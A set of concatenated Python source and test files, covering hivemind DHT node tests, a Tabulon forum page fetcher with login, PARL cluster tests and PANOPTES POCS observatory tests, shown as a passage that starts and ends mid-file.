requestCSThread = threading.Thread(target=self._requesting_critical_section,args=(defer_cs_request_time,)) requestCSThread.start() ## def _incrementLogicalClock(self): self.logical_clock += 1 ## def _logger(self,message): timestamp = datetime.datetime.now().strftime("%d-%m-%Y %H:%M:%S") logsuffix = f'{self.node_name} {self.port} - {timestamp} # ' self.logFile.writelines(f'{logsuffix} {message}\n') self.logFile.flush() print(f'{logsuffix} {message}')
test_dht_node.py
import asyncio import heapq import multiprocessing as mp import random from itertools import product from typing import Optional, List, Dict import numpy as np import pytest import hivemind from hivemind import get_dht_time, replace_port from hivemind.dht.crypto import RSASignatureValidator from hivemind.dht.node import DHTID, Endpoint, DHTNode, LOCALHOST from hivemind.dht.protocol import DHTProtocol, ValidationError from hivemind.dht.storage import DictionaryDHTValue def run_protocol_listener(port: int, dhtid: DHTID, started: mp.synchronize.Event, ping: Optional[Endpoint] = None): loop = asyncio.get_event_loop() protocol = loop.run_until_complete(DHTProtocol.create( dhtid, bucket_size=20, depth_modulo=5, num_replicas=3, wait_timeout=5, listen_on=f"{LOCALHOST}:{port}")) assert protocol.port == port print(f"Started peer id={protocol.node_id} port={port}", flush=True) if ping is not None: loop.run_until_complete(protocol.call_ping(ping)) started.set() loop.run_until_complete(protocol.server.wait_for_termination()) print(f"Finished peer id={protocol.node_id} port={port}", flush=True) # note: we run grpc-related tests in a separate process to re-initialize all global states from scratch # this helps us avoid undesirable side-effects (e.g. segfaults) when running multiple tests in sequence @pytest.mark.forked def test_dht_protocol(): # create the first peer peer1_port, peer1_id, peer1_started = hivemind.find_open_port(), DHTID.generate(), mp.Event() peer1_proc = mp.Process(target=run_protocol_listener, args=(peer1_port, peer1_id, peer1_started), daemon=True) peer1_proc.start(), peer1_started.wait() # create another peer that connects to the first peer peer2_port, peer2_id, peer2_started = hivemind.find_open_port(), DHTID.generate(), mp.Event() peer2_proc = mp.Process(target=run_protocol_listener, args=(peer2_port, peer2_id, peer2_started), kwargs={'ping': f'{LOCALHOST}:{peer1_port}'}, daemon=True) peer2_proc.start(), peer2_started.wait() loop = asyncio.get_event_loop() for listen in [False, True]: # note: order matters, this test assumes that first run uses listen=False protocol = loop.run_until_complete(DHTProtocol.create( DHTID.generate(), bucket_size=20, depth_modulo=5, wait_timeout=5, num_replicas=3, listen=listen)) print(f"Self id={protocol.node_id}", flush=True) assert loop.run_until_complete(protocol.call_ping(f'{LOCALHOST}:{peer1_port}')) == peer1_id key, value, expiration = DHTID.generate(), [random.random(), {'ololo': 'pyshpysh'}], get_dht_time() + 1e3 store_ok = loop.run_until_complete(protocol.call_store( f'{LOCALHOST}:{peer1_port}', [key], [hivemind.MSGPackSerializer.dumps(value)], expiration) ) assert all(store_ok), "DHT rejected a trivial store" # peer 1 must know about peer 2 (recv_value_bytes, recv_expiration), nodes_found = loop.run_until_complete( protocol.call_find(f'{LOCALHOST}:{peer1_port}', [key]))[key] recv_value = hivemind.MSGPackSerializer.loads(recv_value_bytes) (recv_id, recv_endpoint) = next(iter(nodes_found.items())) assert recv_id == peer2_id and ':'.join(recv_endpoint.split(':')[-2:]) == f"{LOCALHOST}:{peer2_port}", \ f"expected id={peer2_id}, peer={LOCALHOST}:{peer2_port} but got {recv_id}, {recv_endpoint}" assert recv_value == value and recv_expiration == expiration, \ f"call_find_value expected {value} (expires by {expiration}) " \ f"but got {recv_value} (expires by {recv_expiration})" # peer 2 must know about peer 1, but not have a *random* nonexistent value dummy_key = DHTID.generate() empty_item, nodes_found_2 = loop.run_until_complete( protocol.call_find(f'{LOCALHOST}:{peer2_port}', [dummy_key]))[dummy_key] assert empty_item is None, "Non-existent keys shouldn't have values" (recv_id, recv_endpoint) = next(iter(nodes_found_2.items())) assert recv_id == peer1_id and recv_endpoint == f"{LOCALHOST}:{peer1_port}", \ f"expected id={peer1_id}, peer={LOCALHOST}:{peer1_port} but got {recv_id}, {recv_endpoint}" # cause a non-response by querying a nonexistent peer dummy_port = hivemind.find_open_port() assert loop.run_until_complete(protocol.call_find(f"{LOCALHOST}:{dummy_port}", [key])) is None # store/get a dictionary with sub-keys nested_key, subkey1, subkey2 = DHTID.generate(), 'foo', 'bar' value1, value2 = [random.random(), {'ololo': 'pyshpysh'}], 'abacaba' assert loop.run_until_complete(protocol.call_store( f'{LOCALHOST}:{peer1_port}', keys=[nested_key], values=[hivemind.MSGPackSerializer.dumps(value1)], expiration_time=[expiration], subkeys=[subkey1]) ) assert loop.run_until_complete(protocol.call_store( f'{LOCALHOST}:{peer1_port}', keys=[nested_key], values=[hivemind.MSGPackSerializer.dumps(value2)], expiration_time=[expiration + 5], subkeys=[subkey2]) ) (recv_dict, recv_expiration), nodes_found = loop.run_until_complete( protocol.call_find(f'{LOCALHOST}:{peer1_port}', [nested_key]))[nested_key] assert isinstance(recv_dict, DictionaryDHTValue) assert len(recv_dict.data) == 2 and recv_expiration == expiration + 5 assert recv_dict.data[subkey1] == (protocol.serializer.dumps(value1), expiration) assert recv_dict.data[subkey2] == (protocol.serializer.dumps(value2), expiration + 5) assert LOCALHOST in loop.run_until_complete(protocol.get_outgoing_request_endpoint(f'{LOCALHOST}:{peer1_port}')) if listen: loop.run_until_complete(protocol.shutdown()) peer1_proc.terminate() peer2_proc.terminate() @pytest.mark.forked def test_empty_table(): """ Test RPC methods with empty routing table """ peer_port, peer_id, peer_started = hivemind.find_open_port(), DHTID.generate(), mp.Event() peer_proc = mp.Process(target=run_protocol_listener, args=(peer_port, peer_id, peer_started), daemon=True) peer_proc.start(), peer_started.wait() loop = asyncio.get_event_loop() protocol = loop.run_until_complete(DHTProtocol.create( DHTID.generate(), bucket_size=20, depth_modulo=5, wait_timeout=5, num_replicas=3, listen=False)) key, value, expiration = DHTID.generate(), [random.random(), {'ololo': 'pyshpysh'}], get_dht_time() + 1e3 empty_item, nodes_found = loop.run_until_complete( protocol.call_find(f'{LOCALHOST}:{peer_port}', [key]))[key] assert empty_item is None and len(nodes_found) == 0 assert all(loop.run_until_complete(protocol.call_store( f'{LOCALHOST}:{peer_port}', [key], [hivemind.MSGPackSerializer.dumps(value)], expiration) )), "peer rejected store" (recv_value_bytes, recv_expiration), nodes_found = loop.run_until_complete( protocol.call_find(f'{LOCALHOST}:{peer_port}', [key]))[key] recv_value = hivemind.MSGPackSerializer.loads(recv_value_bytes) assert len(nodes_found) == 0 assert recv_value == value and recv_expiration == expiration assert loop.run_until_complete(protocol.call_ping(f'{LOCALHOST}:{peer_port}')) == peer_id assert loop.run_until_complete(protocol.call_ping(f'{LOCALHOST}:{hivemind.find_open_port()}')) is None peer_proc.terminate() def run_node(node_id, peers, status_pipe: mp.Pipe): if asyncio.get_event_loop().is_running(): asyncio.get_event_loop().stop() # if we're in jupyter, get rid of its built-in event loop asyncio.set_event_loop(asyncio.new_event_loop()) loop = asyncio.get_event_loop() node = loop.run_until_complete(DHTNode.create(node_id, initial_peers=peers)) status_pipe.send(node.port) while True: loop.run_forever() @pytest.mark.forked def test_dht_node(): # create dht with 50 nodes + your 51-st node dht: Dict[Endpoint, DHTID] = {} processes: List[mp.Process] = [] for i in range(50): node_id = DHTID.generate() peers = random.sample(dht.keys(), min(len(dht), 5)) pipe_recv, pipe_send = mp.Pipe(duplex=False) proc = mp.Process(target=run_node, args=(node_id, peers, pipe_send), daemon=True) proc.start() port = pipe_recv.recv() processes.append(proc) dht[f"{LOCALHOST}:{port}"] = node_id loop = asyncio.get_event_loop() me = loop.run_until_complete(DHTNode.create(initial_peers=random.sample(dht.keys(), 5), parallel_rpc=10, cache_refresh_before_expiry=False)) # test 1: find self nearest = loop.run_until_complete(me.find_nearest_nodes([me.node_id], k_nearest=1))[me.node_id] assert len(nearest) == 1 and ':'.join(nearest[me.node_id].split(':')[-2:]) == f"{LOCALHOST}:{me.port}" # test 2: find others for i in range(10): ref_endpoint, query_id = random.choice(list(dht.items())) nearest = loop.run_until_complete(me.find_nearest_nodes([query_id], k_nearest=1))[query_id] assert len(nearest) == 1 found_node_id, found_endpoint = next(iter(nearest.items())) assert found_node_id == query_id and ':'.join(found_endpoint.split(':')[-2:]) == ref_endpoint # test 3: find neighbors to random nodes accuracy_numerator = accuracy_denominator = 0 # top-1 nearest neighbor accuracy jaccard_numerator = jaccard_denominator = 0 # jaccard similarity aka intersection over union all_node_ids = list(dht.values()) for i in range(10): query_id = DHTID.generate() k_nearest = random.randint(1, 10) exclude_self = random.random() > 0.5 nearest = loop.run_until_complete( me.find_nearest_nodes([query_id], k_nearest=k_nearest, exclude_self=exclude_self))[query_id] nearest_nodes = list(nearest) # keys from ordered dict assert len(nearest_nodes) == k_nearest, "beam search must return exactly k_nearest results" assert me.node_id not in nearest_nodes or not exclude_self, "if exclude, results shouldn't contain self" assert np.all(np.diff(query_id.xor_distance(nearest_nodes)) >= 0), "results must be sorted by distance" ref_nearest = heapq.nsmallest(k_nearest + 1, all_node_ids, key=query_id.xor_distance) if exclude_self and me.node_id in ref_nearest: ref_nearest.remove(me.node_id) if len(ref_nearest) > k_nearest: ref_nearest.pop() accuracy_numerator += nearest_nodes[0] == ref_nearest[0] accuracy_denominator += 1 jaccard_numerator += len(set.intersection(set(nearest_nodes), set(ref_nearest))) jaccard_denominator += k_nearest accuracy = accuracy_numerator / accuracy_denominator print("Top-1 accuracy:", accuracy) # should be 98-100% jaccard_index = jaccard_numerator / jaccard_denominator print("Jaccard index (intersection over union):", jaccard_index) # should be 95-100% assert accuracy >= 0.9, f"Top-1 accuracy only {accuracy} ({accuracy_numerator} / {accuracy_denominator})" assert jaccard_index >= 0.9, f"Jaccard index only {accuracy} ({accuracy_numerator} / {accuracy_denominator})" # test 4: find all nodes dummy = DHTID.generate() nearest = loop.run_until_complete(me.find_nearest_nodes([dummy], k_nearest=len(dht) + 100))[dummy] assert len(nearest) == len(dht) + 1 assert len(set.difference(set(nearest.keys()), set(all_node_ids) | {me.node_id})) == 0 # test 5: node without peers detached_node = loop.run_until_complete(DHTNode.create()) nearest = loop.run_until_complete(detached_node.find_nearest_nodes([dummy]))[dummy] assert len(nearest) == 1 and nearest[detached_node.node_id] == f"{LOCALHOST}:{detached_node.port}" nearest = loop.run_until_complete(detached_node.find_nearest_nodes([dummy], exclude_self=True))[dummy] assert len(nearest) == 0 # test 6 store and get value true_time = get_dht_time() + 1200 assert loop.run_until_complete(me.store("mykey", ["Value", 10], true_time)) that_guy = loop.run_until_complete(DHTNode.create(initial_peers=random.sample(dht.keys(), 3), parallel_rpc=10, cache_refresh_before_expiry=False, cache_locally=False)) for node in [me, that_guy]: val, expiration_time = loop.run_until_complete(node.get("mykey")) assert val == ["Value", 10], "Wrong value" assert expiration_time == true_time, f"Wrong time" assert loop.run_until_complete(detached_node.get("mykey")) is None # test 7: bulk store and bulk get keys = 'foo', 'bar', 'baz', 'zzz' values = 3, 2, 'batman', [1, 2, 3] store_ok = loop.run_until_complete(me.store_many(keys, values, expiration_time=get_dht_time() + 999)) assert all(store_ok.values()), "failed to store one or more keys" response = loop.run_until_complete(me.get_many(keys[::-1])) for key, value in zip(keys, values): assert key in response and response[key][0] == value # test 8: store dictionaries as values (with sub-keys) upper_key, subkey1, subkey2, subkey3 = 'ololo', 'k1', 'k2', 'k3' now = get_dht_time() assert loop.run_until_complete(me.store(upper_key, subkey=subkey1, value=123, expiration_time=now + 10)) assert loop.run_until_complete(me.store(upper_key, subkey=subkey2, value=456, expiration_time=now + 20)) for node in [that_guy, me]: value, time = loop.run_until_complete(node.get(upper_key)) assert isinstance(value, dict) and time == now + 20 assert value[subkey1] == (123, now + 10) assert value[subkey2] == (456, now + 20) assert len(value) == 2 assert not loop.run_until_complete(me.store(upper_key, subkey=subkey2, value=345, expiration_time=now + 10)) assert loop.run_until_complete(me.store(upper_key, subkey=subkey2, value=567, expiration_time=now + 30)) assert loop.run_until_complete(me.store(upper_key, subkey=subkey3, value=890, expiration_time=now + 50)) loop.run_until_complete(asyncio.sleep(0.1)) # wait for cache to refresh for node in [that_guy, me]: value, time = loop.run_until_complete(node.get(upper_key)) assert isinstance(value, dict) and time == now + 50, (value, time) assert value[subkey1] == (123, now + 10) assert value[subkey2] == (567, now + 30) assert value[subkey3] == (890, now + 50) assert len(value) == 3 for proc in processes: proc.terminate() @pytest.mark.forked @pytest.mark.asyncio async def test_dhtnode_replicas(): dht_size = 20 initial_peers = 3 num_replicas = random.randint(1, 20) peers = [] for i in range(dht_size): neighbors_i = [f'{LOCALHOST}:{node.port}' for node in random.sample(peers, min(initial_peers, len(peers)))] peers.append(await DHTNode.create(initial_peers=neighbors_i, num_replicas=num_replicas)) you = random.choice(peers) assert await you.store('key1', 'foo', get_dht_time() + 999) actual_key1_replicas = sum(len(peer.protocol.storage) for peer in peers) assert num_replicas == actual_key1_replicas assert await you.store('key2', 'bar', get_dht_time() + 999) total_size = sum(len(peer.protocol.storage) for peer in peers) actual_key2_replicas = total_size - actual_key1_replicas assert num_replicas == actual_key2_replicas assert await you.store('key2', 'baz', get_dht_time() + 1000) assert sum(len(peer.protocol.storage) for peer in peers) == total_size, "total size should not have changed" @pytest.mark.forked @pytest.mark.asyncio async def test_dhtnode_caching(T=0.05): node2 = await hivemind.DHTNode.create(cache_refresh_before_expiry=5 * T, reuse_get_requests=False) node1 = await hivemind.DHTNode.create(initial_peers=[f'localhost:{node2.port}'], cache_refresh_before_expiry=5 * T, listen=False, reuse_get_requests=False) await node2.store('k', [123, 'value'], expiration_time=hivemind.get_dht_time() + 7 * T) await node2.store('k2', [654, 'value'], expiration_time=hivemind.get_dht_time() + 7 * T) await node2.store('k3', [654, 'value'], expiration_time=hivemind.get_dht_time() + 15 * T) await node1.get_many(['k', 'k2', 'k3', 'k4']) assert len(node1.protocol.cache) == 3 assert len(node1.cache_refresh_queue) == 0 await node1.get_many(['k', 'k2', 'k3', 'k4']) assert len(node1.cache_refresh_queue) == 3 await node2.store('k', [123, 'value'], expiration_time=hivemind.get_dht_time() + 12 * T) await asyncio.sleep(4 * T) await node1.get('k') await asyncio.sleep(1 * T) assert len(node1.protocol.cache) == 3 assert len(node1.cache_refresh_queue) == 2 await asyncio.sleep(3 * T) assert len(node1.cache_refresh_queue) == 1 await asyncio.sleep(5 * T) assert len(node1.cache_refresh_queue) == 0 await asyncio.sleep(5 * T) assert len(node1.cache_refresh_queue) == 0 await node2.store('k', [123, 'value'], expiration_time=hivemind.get_dht_time() + 10 * T) await node1.get('k') await asyncio.sleep(1 * T) assert len(node1.cache_refresh_queue) == 0 await node1.get('k') await asyncio.sleep(1 * T) assert len(node1.cache_refresh_queue) == 1 await asyncio.sleep(5 * T) assert len(node1.cache_refresh_queue) == 0 await asyncio.gather(node1.shutdown(), node2.shutdown()) @pytest.mark.forked @pytest.mark.asyncio async def test_dhtnode_reuse_get(): peers = [] for i in range(10): neighbors_i = [f'{LOCALHOST}:{node.port}' for node in random.sample(peers, min(3, len(peers)))] peers.append(await hivemind.DHTNode.create(initial_peers=neighbors_i, parallel_rpc=256)) await asyncio.gather( random.choice(peers).store('k1', 123, hivemind.get_dht_time() + 999), random.choice(peers).store('k2', 567, hivemind.get_dht_time() + 999) ) you = random.choice(peers) futures1 = await you.get_many(['k1', 'k2'], return_futures=True) assert len(you.pending_get_requests[DHTID.generate('k1')]) == 1 assert len(you.pending_get_requests[DHTID.generate('k2')]) == 1 futures2 = await you.get_many(['k2', 'k3'], return_futures=True) assert len(you.pending_get_requests[DHTID.generate('k2')]) == 2 await asyncio.gather(*futures1.values(), *futures2.values()) futures3 = await you.get_many(['k3'], return_futures=True) assert len(you.pending_get_requests[DHTID.generate('k1')]) == 0 assert len(you.pending_get_requests[DHTID.generate('k2')]) == 0 assert len(you.pending_get_requests[DHTID.generate('k3')]) == 1 assert (await futures1['k1'])[0] == 123 assert await futures1['k2'] == await futures2['k2'] and (await futures1['k2'])[0] == 567 assert await futures2['k3'] == await futures3['k3'] and (await futures3['k3']) is None @pytest.mark.forked @pytest.mark.asyncio async def test_dhtnode_blacklist(): node1 = await hivemind.DHTNode.create(blacklist_time=999) node2 = await hivemind.DHTNode.create(blacklist_time=999, initial_peers=[f"{LOCALHOST}:{node1.port}"]) node3 = await hivemind.DHTNode.create(blacklist_time=999, initial_peers=[f"{LOCALHOST}:{node1.port}"]) node4 = await hivemind.DHTNode.create(blacklist_time=999, initial_peers=[f"{LOCALHOST}:{node1.port}"]) assert await node2.store('abc', 123, expiration_time=hivemind.get_dht_time() + 99) assert len(node2.blacklist.ban_counter) == 0 await node3.shutdown() await node4.shutdown() assert await node2.store('def', 456, expiration_time=hivemind.get_dht_time() + 99) assert len(node2.blacklist.ban_counter) == 2 for banned_peer in node2.blacklist.ban_counter: assert any(banned_peer.endswith(str(port)) for port in [node3.port, node4.port]) node3_endpoint = await node3.protocol.get_outgoing_request_endpoint(f"{hivemind.LOCALHOST}:{node1.port}") node3_endpoint = replace_port(node3_endpoint, node3.port) assert await node1.get('abc', latest=True) # force node1 to crawl dht and discover unresponsive peers assert node3_endpoint in node1.blacklist node2_endpoint = await node2.protocol.get_outgoing_request_endpoint(f"{hivemind.LOCALHOST}:{node1.port}") node2_endpoint = replace_port(node2_endpoint, node2.port) assert await node1.get('abc', latest=True) # force node1 to crawl dht and discover unresponsive peers assert node2_endpoint not in node1.blacklist @pytest.mark.forked @pytest.mark.asyncio async def test_dhtnode_validate(fake_endpoint='127.0.0.721:*'): node1 = await hivemind.DHTNode.create(blacklist_time=999) with pytest.raises(ValidationError): node2 = await hivemind.DHTNode.create(blacklist_time=999, initial_peers=[f"{LOCALHOST}:{node1.port}"], endpoint=fake_endpoint) @pytest.mark.forked @pytest.mark.asyncio async def test_dhtnode_edge_cases(): peers = [] for i in range(5): neighbors_i = [f'{LOCALHOST}:{node.port}' for node in random.sample(peers, min(3, len(peers)))] peers.append(await hivemind.DHTNode.create(initial_peers=neighbors_i, parallel_rpc=4)) subkeys = [0, '', False, True, 'abyrvalg', 4555] keys = subkeys + [()] values = subkeys + [[]] for key, subkey, value in product(keys, subkeys, values): await random.choice(peers).store(key=key, subkey=subkey, value=value, expiration_time=hivemind.get_dht_time() + 999), stored = await random.choice(peers).get(key=key, latest=True) assert stored is not None assert subkey in stored.value assert stored.value[subkey].value == value @pytest.mark.forked @pytest.mark.asyncio async def test_dhtnode_signatures(): alice = await hivemind.DHTNode.create(record_validator=RSASignatureValidator()) bob = await hivemind.DHTNode.create( record_validator=RSASignatureValidator(), initial_peers=[f"{LOCALHOST}:{alice.port}"]) mallory = await hivemind.DHTNode.create( record_validator=RSASignatureValidator(), initial_peers=[f"{LOCALHOST}:{alice.port}"]) key = b'key' subkey = b'protected_subkey' + bob.protocol.record_validator.ownership_marker assert await bob.store(key, b'true_value', hivemind.get_dht_time() + 10, subkey=subkey) assert (await alice.get(key, latest=True)).value[subkey].value == b'true_value' store_ok = await mallory.store(key, b'fake_value', hivemind.get_dht_time() + 10, subkey=subkey) assert not store_ok assert (await alice.get(key, latest=True)).value[subkey].value == b'true_value' assert await bob.store(key, b'updated_true_value', hivemind.get_dht_time() + 10, subkey=subkey) assert (await alice.get(key, latest=True)).value[subkey].value == b'updated_true_value' await bob.shutdown() # Bob has shut down, now Mallory is the single peer of Alice store_ok = await mallory.store(key, b'updated_fake_value', hivemind.get_dht_time() + 10, subkey=subkey) assert not store_ok assert (await alice.get(key, latest=True)).value[subkey].value == b'updated_true_value'
fetch.py
# Tabulon # Copyright (c) 2015-2017 BeaconHill <theageofnewstars@gmail.com> # See `LICENSE.txt` for license terms. from time import sleep, time from sys import stdout from collections import deque from threading import Thread from lxml import html import requests from util import * from termutil import * from getpass import getpass import os, os.path #################### ## Fetching Utils ## #################### _session = requests.Session() _session.headers.update({'User-Agent': 'Tabulon/1.0'}) # Fetch this one uri def single_fetch(uri): return html.fromstring(_session.get(uri).text) # Fetch this one uri, returning the final uri after redirects # Returns a tuple (lxml.html, uri) def single_fetch_resolve_redirects(uri): response = _session.get(uri) return (html.fromstring(response.text), response.url) def log_in_to_forum(scheme, host): print('Trying to log in to '+host+'.') print() while True: un = input('Username: ') pw = getpass() print() uri = scheme+'://'+host+'/login/login' response = _session.post(uri, data={ 'login': un, 'password': pw, 'register': '0', 'remember': '1', 'redirect': '/watched/threads', '_xfToken': '', 'cookie_check': '0', }, ) if url_get_path(response.url) != '/watched/threads': print('Oops, that didn\'t seem to work. Try again?') print() else: break def _multi_fetch_thread(uriq, out, print_progress): while True: try: uri = uriq.popleft() except IndexError: return out[uri] = single_fetch(uri) def _multi_fetch_meter(n, fetched): start = time() while True: stdout.write(CSI+'0G') if n == len(fetched): break proportion = len(fetched) * 1.0 / n if proportion < 0.3: color = FG_RED elif proportion < 0.6: color = FG_YEL else: color = FG_GRN meter = sgr(color, BOLD)+('|'*len(fetched))+(' '*(n-len(fetched)))+sgr() progress = '(%2d / %2d)' % (len(fetched), n) stdout.write('Fetching: [%s] %s' % ( meter, progress )) stdout.write(CSI+'K') stdout.flush() last_done = len(fetched) while len(fetched) == last_done: sleep(0.025) print(CSI+'0G'+('Done! (%d pages, %.1fsec)' % (n, time() - start))+CSI+'K') # Fetch all the uris in the list, n at a time. def multi_fetch(uris, n=6, use_meter=True): if not is_ansi_enabled(): use_meter = False if len(uris) < 1: return [] uriq = deque(uris) fetched = {} if n > len(uris): n = len(uris) threads = [ Thread(target=_multi_fetch_thread, args=(uriq, fetched, not use_meter)) for i in range(n) ] if not use_meter: print('Fetching', len(uris), 'pages...') start = time() for thread in threads: thread.start() if use_meter: meter = Thread( target=_multi_fetch_meter, args=(len(uris), fetched) ) meter.start() for thread in threads: thread.join() if use_meter: meter.join() else: print('Fetched', len(uris), 'pages in', ('%.1fsec' % (time() - start))) return [ fetched[uri] for uri in uris ]
cluster_notebook_test.py
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import unittest import parl from parl.remote.master import Master from parl.remote.worker import Worker import time import threading from parl.remote.client import disconnect from parl.remote import exceptions import subprocess from parl.utils import logger from parl.utils import get_free_tcp_port from unittest import mock @parl.remote_class class Actor(object): def __init__(self, arg1=None, arg2=None): self.arg1 = arg1 self.arg2 = arg2 def get_arg1(self): return self.arg1 def get_arg2(self): return self.arg2 def set_arg1(self, value): self.arg1 = value def set_arg2(self, value): self.arg2 = value def add_one(self, value): value += 1 return value def add(self, x, y): time.sleep(3) return x + y def will_raise_exception_func(self): x = 1 / 0 class TestCluster(unittest.TestCase): def tearDown(self): disconnect() time.sleep(60) # wait for test case finishing def test_actor_exception(self): return_true = mock.Mock(return_value=True) with mock.patch( 'parl.remote.remote_class_serialization.is_implemented_in_notebook', return_true): port = get_free_tcp_port() logger.info("running:test_actor_exception") master = Master(port=port) th = threading.Thread(target=master.run) th.start() time.sleep(3) worker1 = Worker('localhost:{}'.format(port), 1) for _ in range(3): if master.cpu_num == 1: break time.sleep(10) self.assertEqual(1, master.cpu_num) logger.info("running:test_actor_exception: 0") parl.connect('localhost:{}'.format(port)) logger.info("running:test_actor_exception: 1") with self.assertRaises(exceptions.RemoteError): actor = Actor(abcd='a bug') logger.info("running:test_actor_exception: 2") actor2 = Actor() for _ in range(3): if master.cpu_num == 0: break time.sleep(10) self.assertEqual(actor2.add_one(1), 2) self.assertEqual(0, master.cpu_num) master.exit() worker1.exit() if __name__ == '__main__': unittest.main()
test_pocs.py
import os import pytest import time from multiprocessing import Process from astropy import units as u from pocs import PanBase from pocs import POCS from pocs.observatory import Observatory from pocs.utils import error from pocs.utils.messaging import PanMessaging @pytest.fixture def observatory(): observatory = Observatory(simulator=['all']) yield observatory @pytest.fixture def pocs(config, observatory): os.environ['POCSTIME'] = '2016-08-13 13:00:00' pocs = POCS(observatory, run_once=True, config=config, ignore_local_config=True, db='panoptes_testing') pocs.observatory.scheduler.fields_list = [ {'name': 'Wasp 33', 'position': '02h26m51.0582s +37d33m01.733s', 'priority': '100', 'exp_time': 2, 'min_nexp': 2, 'exp_set_size': 2, }, ] yield pocs pocs.power_down() def test_check_config1(config): del config['mount'] base = PanBase() with pytest.raises(SystemExit): base._check_config(config) def test_check_config2(config): del config['directories'] base = PanBase() with pytest.raises(SystemExit): base._check_config(config) def test_check_config3(config): del config['state_machine'] base = PanBase() with pytest.raises(SystemExit): base._check_config(config) def test_bad_pandir_env(pocs): pandir = os.getenv('PANDIR') os.environ['PANDIR'] = '/foo/bar' with pytest.raises(SystemExit): pocs._check_environment() os.environ['PANDIR'] = pandir def test_bad_pocs_env(pocs): pocs_dir = os.getenv('POCS') os.environ['POCS'] = '/foo/bar' with pytest.raises(SystemExit): pocs._check_environment() os.environ['POCS'] = pocs_dir def test_make_log_dir(pocs): log_dir = "{}/logs".format(os.getcwd()) assert os.path.exists(log_dir) is False old_pandir = os.environ['PANDIR'] os.environ['PANDIR'] = os.getcwd() pocs._check_environment() assert os.path.exists(log_dir) is True os.removedirs(log_dir) os.environ['PANDIR'] = old_pandir def test_simple_simulator(pocs): assert isinstance(pocs, POCS) def test_not_initialized(pocs): assert pocs.is_initialized is not True def test_run_without_initialize(pocs): with pytest.raises(AssertionError): pocs.run() def test_initialization(pocs): pocs.initialize() assert pocs.is_initialized def test_bad_state_machine_file(): with pytest.raises(error.InvalidConfig): POCS.load_state_table(state_table_name='foo') def test_load_bad_state(pocs): with pytest.raises(error.InvalidConfig): pocs._load_state('foo') def test_default_lookup_trigger(pocs): pocs.state = 'parking' pocs.next_state = 'parking' assert pocs._lookup_trigger() == 'set_park' pocs.state = 'foo' assert pocs._lookup_trigger() == 'parking' def test_free_space(pocs): assert pocs.has_free_space() is True # Test something ridiculous assert pocs.has_free_space(required_space=1e9 * u.gigabyte) is False assert pocs.is_safe() is True def test_is_dark_simulator(pocs): pocs.initialize() pocs.config['simulator'] = ['camera', 'mount', 'weather', 'night'] os.environ['POCSTIME'] = '2016-08-13 13:00:00' assert pocs.is_dark() is True os.environ['POCSTIME'] = '2016-08-13 23:00:00' assert pocs.is_dark() is True def test_is_dark_no_simulator_01(pocs): pocs.initialize() pocs.config['simulator'] = ['camera', 'mount', 'weather'] os.environ['POCSTIME'] = '2016-08-13 13:00:00' assert pocs.is_dark() is True def test_is_dark_no_simulator_02(pocs): pocs.initialize() pocs.config['simulator'] = ['camera', 'mount', 'weather'] os.environ['POCSTIME'] = '2016-08-13 23:00:00' assert pocs.is_dark() is False def test_is_weather_safe_simulator(pocs): pocs.initialize() pocs.config['simulator'] = ['camera', 'mount', 'weather'] assert pocs.is_weather_safe() is True def test_is_weather_safe_no_simulator(pocs, db): pocs.initialize() pocs.config['simulator'] = ['camera', 'mount', 'night'] # Set a specific time os.environ['POCSTIME'] = '2016-08-13 23:00:00' # Insert a dummy weather record db.insert_current('weather', {'safe': True}) assert pocs.is_weather_safe() is True # Set a time 181 seconds later os.environ['POCSTIME'] = '2016-08-13 23:05:01' assert pocs.is_weather_safe() is False def test_run_wait_until_safe(db, observatory): os.environ['POCSTIME'] = '2016-08-13 23:00:00' def start_pocs(): observatory.config['simulator'] = ['camera', 'mount', 'night'] pocs = POCS(observatory, messaging=True, safe_delay=15) pocs.db.current.remove({}) pocs.initialize() pocs.logger.info('Starting observatory run') assert pocs.is_weather_safe() is False pocs.send_message('RUNNING') pocs.run(run_once=True, exit_when_done=True) assert pocs.is_weather_safe() is True pub = PanMessaging.create_publisher(6500) sub = PanMessaging.create_subscriber(6511) pocs_process = Process(target=start_pocs) pocs_process.start() # Wait for the running message while True: msg_type, msg_obj = sub.receive_message() if msg_obj is None: time.sleep(2) continue if msg_obj.get('message', '') == 'RUNNING': time.sleep(2) # Insert a dummy weather record to break wait db.insert_current('weather', {'safe': True}) if msg_type == 'STATUS': current_state = msg_obj.get('state', {}) if current_state == 'pointing': pub.send_message('POCS-CMD', 'shutdown') break time.sleep(0.5) pocs_process.join() assert pocs_process.is_alive() is False def test_unsafe_park(pocs): pocs.initialize() assert pocs.is_initialized is True os.environ['POCSTIME'] = '2016-08-13 13:00:00' assert pocs.state == 'sleeping' pocs.get_ready() assert pocs.state == 'ready' pocs.schedule() assert pocs.state == 'scheduling' # My time goes fast... os.environ['POCSTIME'] = '2016-08-13 23:00:00' pocs.config['simulator'] = ['camera', 'mount', 'weather'] assert pocs.is_safe() is False assert pocs.state == 'parking' pocs.set_park() pocs.clean_up() pocs.goto_sleep() assert pocs.state == 'sleeping' def test_power_down_while_running(pocs): assert pocs.connected is True pocs.initialize() pocs.get_ready() assert pocs.state == 'ready' pocs.power_down() assert pocs.state == 'parked' assert pocs.connected is False def test_run_no_targets_and_exit(pocs): os.environ['POCSTIME'] = '2016-08-13 23:00:00' pocs.config['simulator'] = ['camera', 'mount', 'weather', 'night'] pocs.state = 'sleeping' pocs.initialize() assert pocs.is_initialized is True pocs.run(exit_when_done=True) assert pocs.state == 'sleeping' def test_run(pocs): os.environ['POCSTIME'] = '2016-09-09 08:00:00' pocs.config['simulator'] = ['camera', 'mount', 'weather', 'night'] pocs.state = 'sleeping' pocs._do_states = True pocs.observatory.scheduler.add_observation({'name': 'KIC 8462852', 'position': '20h06m15.4536s +44d27m24.75s', 'priority': '100', 'exp_time': 2, 'min_nexp': 2, 'exp_set_size': 2, }) pocs.initialize() assert pocs.is_initialized is True pocs.run(exit_when_done=True, run_once=True) assert pocs.state == 'sleeping' def test_run_interrupt_with_reschedule_of_target(observatory): def start_pocs(): pocs = POCS(observatory, messaging=True) pocs.logger.info('Before initialize') pocs.initialize() pocs.logger.info('POCS 